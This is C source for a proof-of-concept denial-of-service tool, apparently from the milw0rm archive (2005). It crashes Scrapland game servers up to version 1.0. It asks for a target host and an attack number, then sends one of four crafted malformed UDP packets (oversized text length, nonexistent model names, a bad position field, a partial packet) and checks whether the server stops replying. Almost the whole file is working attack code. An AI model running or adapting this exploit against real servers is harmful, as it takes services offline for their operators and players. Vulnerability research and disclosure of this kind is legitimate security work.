/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#ifdef WIN32
#include <winsock.h>
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/
#include <string.h>
#include <errno.h>
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}
#define close closesocket
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define ONESEC 1
#endif
#define VER "0.1"
#define BUFFSZ 2048
#define PORT 28086
#define TIMEOUT 3
#define SEND(x,y) if(sendto(sd, x, y, 0, (struct sockaddr *)&peer, sizeof(peer)) \
< 0) std_err();
#define RECV if(timeout(sd) < 0) { \
fputs("\nError: socket timeout, no reply received\n\n", stdout); \
exit(1); \
} \
len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
if(len < 0) std_err();
#define ADDSHORT(x) *(u_short *)p = x; \
p += 2;
#define ADDLONG(x) *(u_long *)p = x; \
p += 4;
#define ADDTEXT(x) *p++ = sizeof(x) - 1; \
memcpy(p, x, sizeof(x) - 1); \
p += sizeof(x) - 1;
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len;
u_short port = PORT;
u_char buff[BUFFSZ],
info[] =
"\x7f"
"\x01\x00"
"\x00\x07",
pck[] =
"\x7f"
"\x00\x00"
"\x00\x00"
"\x00",
*p;
setbuf(stdout, NULL);
fputs("\n"
"Scrapland <= 1.0 server termination "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <attack> <host> [port(%d)]\n"
"\n"
"Attack:\n"
" 1 = big text string (size>SSize)\n"
" 2 = unexistent models (you can test this bug also modifying scrap.cfg)\n"
" 3 = newpos<=size\n"
" 4 = partial packet after small packet (1 or 2 bytes)\n"
"\n", argv[0], port);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
fputs("- request informations\n", stdout);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
SEND(info, sizeof(info) - 1);
RECV;
printf("\n Server name %s\n", buff + 10);
printf(" Players %d / %d\n\n",
*(u_short *)(buff + 8), *(u_short *)(buff + 6));
if(*(u_short *)(buff + 8) == *(u_short *)(buff + 6)) {
fputs("- Alert: the server is full so this attack will fail\n\n", stdout);
}
fputs("- send BOOM packet\n", stdout);
switch(atoi(argv[1])) {
case 1: {
pck[5] = 0xff; // major than 0x7f
*(u_short *)(pck + 1) = sizeof(pck) - 4;
SEND(pck, sizeof(pck) - 1);
} break;
case 2: {
p = buff;
*p++ = 0x7f;
p += 2; // data size
ADDSHORT(0); // don't know, pck related?
ADDTEXT("Unnamed Player"); // PlayerName
ADDTEXT("unexistent"); // PlayerModel
ADDSHORT(65); // PlayerMaxLife
ADDTEXT("unexistent"); // PilotModel
ADDTEXT("unexistent"); // Motor0Model
ADDTEXT("unexistent"); // Motor1Model
ADDTEXT("unexistent"); // Motor2Model
ADDTEXT("unexistent"); // Motor3Model
ADDTEXT("1,3,0,0,1,0,1"); // WeaponBayList
ADDLONG(0); // PlayerTeamID
*(u_short *)(buff + 1) = (p - buff) - 3;
SEND(buff, p - buff);
} break;
case 3: {
*(u_short *)(pck + 1) = 1; // major than 0
SEND(pck, 5);
} break;
case 4: {
SEND(pck, 1);
sleep(ONESEC);
*(u_short *)(pck + 1) = 0;
SEND(pck, 3);
} break;
default: {
fputs("\nError: wrong attack selected\n\n", stdout);
exit(1);
}
}
fputs("- check server:\n", stdout);
SEND(info, sizeof(info) - 1);
if(timeout(sd) < 0) {
fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
fputs("\nServer doesn't seem vulnerable\n\n", stdout);
}
close(sd);
return(0);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
// milw0rm.com [2005-02-28]
